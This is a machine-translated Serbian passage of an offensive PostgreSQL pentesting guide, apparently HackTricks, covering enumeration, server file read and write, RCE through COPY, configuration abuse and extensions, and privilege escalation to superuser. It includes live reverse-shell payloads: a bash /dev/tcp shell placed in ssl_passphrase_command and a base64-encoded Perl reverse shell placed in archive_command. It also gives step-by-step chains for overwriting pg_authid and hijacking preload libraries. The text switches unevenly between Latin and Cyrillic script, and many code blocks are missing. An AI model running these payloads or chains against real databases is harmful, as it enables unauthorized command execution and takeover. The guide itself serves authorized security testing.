5432,5433 - Pentesting Postgresql
Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice. Pribavite pristup danas:
Osnovne informacije
PostgreSQL se opisuje kao objektno-relaциони sistem baza podataka koji je otvorenog koda. Ovaj sistem ne samo da koristi SQL jezik, već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti omogućavaju mu da upravlja širokim spektrom tipova podataka i operacija, što ga čini svestranom opcijom za programere i organizacije.
Podrazumevani port: 5432, a ako je ovaj port već u upotrebi, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije u upotrebi.
Povezivanje i Osnovno Enum
Ako prilikom pokretanja \list
pronađete bazu podataka pod nazivom rdsadmin
, znate da ste unutar AWS postgresql baze podataka.
Za više informacija o kako zloupotrebiti PostgreSQL bazu podataka proverite:
Automatska Enumeracija
Skeniranje portova
Prema ovoj studiji, kada pokušaj povezivanja ne uspe, dblink
baca sqlclient_unable_to_establish_sqlconnection
izuzetak koji uključuje objašnjenje greške. Primeri ovih detalja su navedeni u nastavku.
Host je nedostupan
DETAIL: nije moguće povezati se sa serverom: Nema rute do hosta Da li server radi na hostu "1.2.3.4" i prihvata TCP/IP veze na portu 5678?
Port je zatvoren
Port je otvoren
or
Port je otvoren ili filtriran
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim, ako imate direktan pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako vađenje korisničkih imena i lozinki iz sistemskih tabela nije izvodljivo, možete razmotriti korišćenje metode napada rečnika o kojoj se govori u prethodnom odeljku, jer bi to moglo potencijalno dati pozitivne rezultate.
Enumeracija privilegija
Uloge
Zanimljive grupe
Ako ste član
pg_execute_server_program
možete izvršavati programeAko ste član
pg_read_server_files
možete čitati fajloveAko ste član
pg_write_server_files
možete pisati fajlove
Napomena da je u Postgresu korisnik, grupa i uloga isto. To zavisi od kako to koristite i da li dozvoljavate prijavu.
Tabele
Функције
File-system actions
Read directories and files
Iz ovog commit članovi definisane DEFAULT_ROLE_READ_SERVER_FILES
grupe (nazvane pg_read_server_files
) i super korisnici mogu koristiti COPY
metodu na bilo kojoj putanji (pogledajte convert_and_check_filename
u genfile.c
):
Zapamtite da ako niste super korisnik, ali imate CREATEROLE dozvole, možete postati član te grupe:
Postoje druge postgres funkcije koje se mogu koristiti za čitati datoteku ili nabrojati direktorijum. Samo superkorisnici i korisnici sa eksplicitnim dozvolama mogu ih koristiti:
Možete pronaći više funkcija na https://www.postgresql.org/docs/current/functions-admin.html
Jednostavno Pisanje Fajlova
Samo super korisnici i članovi pg_write_server_files
mogu koristiti copy za pisanje fajlova.
Zapamtite da ako niste super korisnik, ali imate CREATEROLE
dozvole, možete postati član te grupe:
Zapamtite da COPY ne može obraditi znakove za novi red, stoga čak i ako koristite base64 payload morate poslati jednosmerni tekst.
Veoma važna ograničenja ove tehnike su da copy
ne može biti korišćen za pisanje binarnih fajlova jer menja neke binarne vrednosti.
Upload binarnih fajlova
Međutim, postoje druge tehnike za upload velikih binarnih fajlova:
Savjet za bug bounty: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!
Ažuriranje PostgreSQL podataka tabele putem lokalnog pisanja fajlova
Ako imate potrebne dozvole za čitanje i pisanje PostgreSQL server fajlova, možete ažurirati bilo koju tabelu na serveru tako što ćete prepisati povezani fajl čvora u PostgreSQL direktorijumu podataka. Više o ovoj tehnici ovde.
Potrebni koraci:
Nabavite PostgreSQL direktorijum podataka
Napomena: Ako ne možete da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upititi glavnu verziju PostgreSQL-a putem SELECT version()
upita i pokušati da brute-force putanju. Uobičajene putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Uobičajeno ime klastera je main
. 2. Nabavite relativnu putanju do filenode-a, povezanog sa ciljanom tabelom
Ovaj upit bi trebao da vrati nešto poput base/3/1337
. Puna putanja na disku će biti $DATA_DIRECTORY/base/3/1337
, tj. /var/lib/postgresql/13/main/base/3/1337
. 3. Preuzmite filenode putem lo_*
funkcija
Dobijte tip podataka, povezan sa ciljanom tabelom
Koristite PostgreSQL Filenode Editor da izmenite filenode; postavite sve
rol*
boolean zastavice na 1 za pune dozvole.
(Opcionalno) Očistite keš tabele u memoriji pokretanjem skupog SQL upita
Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.
Takođe možete postati superadmin izmenom pg_authid
tabele. Pogledajte sledeći odeljak.
RCE
RCE do programa
Od verzije 9.3, samo super korisnici i članovi grupe pg_execute_server_program
mogu koristiti copy za RCE (primer sa eksfiltracijom:
Primer za exec:
Zapamtite da ako niste super korisnik, ali imate CREATEROLE
dozvole, možete postati član te grupe:
Ili koristite multi/postgres/postgres_copy_from_program_cmd_exec
modul iz metasploit.
Više informacija o ovoj ranjivosti ovde. Dok je prijavljena kao CVE-2019-9193, Postges je izjavio da je to karakteristika i da neće biti ispravljena.
RCE sa PostgreSQL jezicima
RCE sa PostgreSQL ekstenzijama
Kada ste naučili iz prethodnog posta kako da otpremite binarne datoteke, možete pokušati da dobijete RCE otpremanjem PostgreSQL ekstenzije i učitavanjem iste.
RCE sa konfiguracionom datotekom PostgreSQL
Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvesti kroz ugnježdene SELECT izjave
Konfiguraciona datoteka PostgreSQL-a je pisiva od strane postgres korisnika, koji pokreće bazu podataka, tako da kao superkorisnik, možete pisati datoteke u datotečnom sistemu, i stoga možete prepisati ovu datoteku.
RCE sa ssl_passphrase_command
Više informacija o ovoj tehnici ovde.
Konfiguraciona datoteka ima neke zanimljive atribute koji mogu dovesti do RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Putanja do privatnog ključa baze podatakassl_passphrase_command = ''
Ako je privatna datoteka zaštićena lozinkom (kriptovana), PostgreSQL će izvršiti komandu navedenu u ovom atributu.ssl_passphrase_command_supports_reload = off
Ako je ovaj atribut uključen, komanda koja se izvršava ako je ključ zaštićen lozinkom biće izvršena kada se izvršipg_reload_conf()
.
Tada će napadač morati da:
Isprazni privatni ključ sa servera
Enkriptuje preuzeti privatni ključ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Prepiše
Isprazni trenutnu PostgreSQL konfiguraciju
Prepiše konfiguraciju sa pomenutim atributima:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Izvrši
pg_reload_conf()
Tokom testiranja primetio sam da će ovo raditi samo ako privatna datoteka ključa ima privilegije 640, da je u vlasništvu root-a i grupe ssl-cert ili postgres (tako da korisnik postgres može da je pročita), i da se nalazi u /var/lib/postgresql/12/main.
RCE sa archive_command
Više informacija o ovoj konfiguraciji i o WAL ovde.
Još jedan atribut u konfiguracionoj datoteci koji se može iskoristiti je archive_command
.
Da bi ovo funkcionisalo, podešavanje archive_mode
mora biti 'on'
ili 'always'
. Ako je to tačno, onda bismo mogli prepisati komandu u archive_command
i naterati je da se izvrši putem WAL (logovanje unapred).
Opšti koraci su:
Proverite da li je arhivski režim omogućen:
SELECT current_setting('archive_mode')
Prepišite
archive_command
sa payload-om. Na primer, obrnuta ljuska:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Ponovo učitajte konfiguraciju:
SELECT pg_reload_conf()
Naterajte WAL operaciju da se izvrši, što će pozvati arhivsku komandu:
SELECT pg_switch_wal()
iliSELECT pg_switch_xlog()
za neke verzije Postgres-a
RCE sa preload bibliotekama
Više informacija o ovoj tehnici ovde.
Ovaj napad koristi sledeće konfiguracione varijable:
session_preload_libraries
-- biblioteke koje će biti učitane od strane PostgreSQL servera prilikom povezivanja klijenta.dynamic_library_path
-- lista direktorijuma u kojima će PostgreSQL server tražiti biblioteke.
Možemo postaviti vrednost dynamic_library_path
na direktorijum, koji je pisiv od strane postgres
korisnika koji pokreće bazu podataka, npr. /tmp/
direktorijum, i otpremiti zlonamerni .so
objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novoučitanu biblioteku uključivanjem u varijablu session_preload_libraries
.
Koraci napada su:
Preuzmite originalni
postgresql.conf
Uključite
/tmp/
direktorijum u vrednostdynamic_library_path
, npr.dynamic_library_path = '/tmp:$libdir'
Uključite naziv zlonamerne biblioteke u vrednost
session_preload_libraries
, npr.session_preload_libraries = 'payload.so'
Proverite glavnu verziju PostgreSQL-a putem
SELECT version()
upitaKompajlirajte kod zlonamerne biblioteke sa odgovarajućim PostgreSQL dev paketom. Primer koda:
Kompajliranje koda:
Otpremite zlonamerni
postgresql.conf
, kreiran u koracima 2-3, i prepišite originalniOtpremite
payload.so
iz koraka 5 u/tmp
direktorijumPonovo učitajte konfiguraciju servera ponovnim pokretanjem servera ili pozivanjem
SELECT pg_reload_conf()
upitaPrilikom sledeće DB konekcije, dobićete obrnutu vezu.
Postgres Privesc
CREATEROLE Privesc
Grant
Prema dokumentaciji: Uloge koje imaju CREATEROLE
privilegiju mogu dodeliti ili oduzeti članstvo u bilo kojoj ulozi koja nije superkorisnik.
Dakle, ako imate CREATEROLE
dozvolu, možete sebi dodeliti pristup drugim ulogama (koje nisu superkorisnici) koje vam mogu dati mogućnost da čitate i pišete datoteke i izvršavate komande:
Измените лозинку
Корисници са овом улогом такође могу променити лозинке других некорисника:
Privesc to SUPERUSER
Prilično je uobičajeno da lokalni korisnici mogu da se prijave u PostgreSQL bez davanja bilo kakve lozinke. Stoga, kada prikupite dozvole za izvršavanje koda, možete zloupotrebiti te dozvole da dobijete SUPERUSER
ulogu:
To je obično moguće zbog sledećih linija u pg_hba.conf
datoteci:
ALTER TABLE privesc
U ovoj analizi objašnjeno je kako je bilo moguće privesc u Postgres GCP zloupotrebom ALTER TABLE privilegije koja je dodeljena korisniku.
Kada pokušate da napravite drugog korisnika vlasnikom tabele, trebali biste dobiti grešku koja to sprečava, ali očigledno je GCP dao tu opciju ne-superkorisniku postgres korisniku u GCP:
Spajajući ovu ideju sa činjenicom da kada se INSERT/UPDATE/ANALYZE komande izvršavaju na tabeli sa funkcijom indeksa, funkcija se poziva kao deo komande sa dozvolama vlasnika tabele. Moguće je kreirati indeks sa funkcijom i dati dozvole vlasnika super korisniku nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
Eksploatacija
Počnite kreiranjem nove tabele.
Umetnite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksa.
Razvijte zlonamernu funkciju indeksa koja sadrži payload za izvršenje koda, omogućavajući izvršavanje neovlašćenih komandi.
PROMENITE vlasnika tabele na "cloudsqladmin," što je superuser u GCP-u koji se isključivo koristi za upravljanje i održavanje baze podataka.
Izvršite ANALYZE operaciju na tabeli. Ova akcija primorava PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksa se poziva sa dozvolama "cloudsqladmin," čime se omogućava izvršenje prethodno neovlašćene shell komande.
U PostgreSQL-u, ovaj tok izgleda ovako:
Тада ће табела shell_commands_results
садржати излаз извршеног кода:
Local Login
Neki pogrešno konfigurisani postgresql instance mogu omogućiti prijavu bilo kog lokalnog korisnika, moguće je lokalno sa 127.0.0.1 koristeći dblink
funkciju:
Napomena da bi prethodna upit radila funkcija dblink
treba da postoji. Ako ne postoji, možete pokušati da je kreirate sa
Ako imate lozinku korisnika sa više privilegija, ali korisnik nije dozvoljen da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
Moguće je proveriti da li ova funkcija postoji sa:
Prilagođena definisana funkcija sa SECURITY DEFINER
U ovom izveštaju, pentesteri su mogli da privesc unutar postgres instance koju je obezbedio IBM, jer su pronašli ovu funkciju sa SECURITY DEFINER oznakom:
Kao što je objašnjeno u dokumentaciji, funkcija sa SECURITY DEFINER se izvršava sa privilegijama korisnika koji je poseduje. Stoga, ako je funkcija ranjiva na SQL Injection ili vrši neke privilegovane radnje sa parametrima koje kontroliše napadač, može se zloupotrebiti za eskalaciju privilegija unutar postgres.
U liniji 4 prethodnog koda možete videti da funkcija ima SECURITY DEFINER oznaku.
And then execute commands:
Pass Burteforce with PL/pgSQL
PL/pgSQL je potpuno funkcionalan programski jezik koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje petlji i drugih kontrolnih struktura za poboljšanje logike programa. Pored toga, SQL izjave i okidači imaju mogućnost da pozivaju funkcije koje su kreirane koristeći PL/pgSQL jezik. Ova integracija omogućava sveobuhvatan i svestran pristup programiranju i automatizaciji baza podataka. Možete zloupotrebiti ovaj jezik kako biste tražili od PostgreSQL-a da izvrši brute-force na korisničkim akreditivima.
Privesc by Overwriting Internal PostgreSQL Tables
Sledeći privesc vektor je posebno koristan u ograničenim SQLi kontekstima, jer se svi koraci mogu izvesti kroz ugnježdene SELECT izjave
Ako možete čitati i pisati PostgreSQL server fajlove, možete postati superkorisnik prepisivanjem PostgreSQL on-disk filenode-a, povezanog sa internom pg_authid
tabelom.
Pročitajte više o ovoj tehnici ovde.
Koraci napada su:
Dobijte PostgreSQL direktorijum podataka
Dobijte relativnu putanju do filenode-a, povezanog sa
pg_authid
tabelomPreuzmite filenode putem
lo_*
funkcijaDobijte tip podataka, povezan sa
pg_authid
tabelomKoristite PostgreSQL Filenode Editor da izmenite filenode; postavite sve
rol*
boolean zastavice na 1 za pune dozvole.Ponovo otpremite izmenjeni filenode putem
lo_*
funkcija, i prepišite originalni fajl na disku(Opcionalno) Očistite keš tabele u memoriji pokretanjem skupe SQL upita
Sada biste trebali imati privilegije punog superadmina.
POST
logging
Unutar postgresql.conf datoteke možete omogućiti postgresql logove promenom:
Zatim, ponovo pokrenite servis.
pgadmin
pgadmin je platforma za administraciju i razvoj za PostgreSQL. Možete pronaći lozinke unutar pgadmin4.db datoteke Možete ih dekriptovati koristeći decrypt funkciju unutar skripte: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
Klijent autentifikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl pod nazivom pg_hba.conf. Ovaj fajl sadrži niz zapisa, od kojih svaki specificira tip veze, opseg IP adresa klijenta (ako je primenljivo), naziv baze podataka, korisničko ime i metodu autentifikacije koja će se koristiti za usklađivanje veza. Prvi zapis koji odgovara tipu veze, adresi klijenta, traženoj bazi podataka i korisničkom imenu se koristi za autentifikaciju. Nema rezervne opcije ili povratka ako autentifikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
Dostupne metode autentifikacije zasnovane na lozinkama u pg_hba.conf su md5, crypt i password. Ove metode se razlikuju u načinu na koji se lozinka prenosi: MD5-hasheva, crypt-enkriptovana ili u čistom tekstu. Važno je napomenuti da se crypt metoda ne može koristiti sa lozinkama koje su enkriptovane u pg_authid.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Last updated